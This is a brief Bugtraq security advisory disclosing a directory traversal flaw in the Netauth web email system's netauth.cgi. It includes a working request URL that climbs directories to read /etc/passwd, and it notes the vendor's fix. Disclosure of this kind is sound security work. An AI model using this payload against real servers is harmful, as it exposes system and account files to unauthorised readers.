Subject:      Netauth: Web Based Email Management System
To: BUGTRAQ@SECURITYFOCUS.COM

This is just a quick note of a simple hole in the Netauth system.

What is Netauth?
Netauth is a web based eMail management system for Windows NT and most Unix
platforms.

What is the hole?
The nethauth.cgi file
http://[server]/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../..
/etc/passwd

What is the fix?
The Netauth developers (very cool guys) fixed this whole a few months back.
So just go to their website and download the latest version.

We found this hole while testing CHAM HTTP, few more weeks till release.
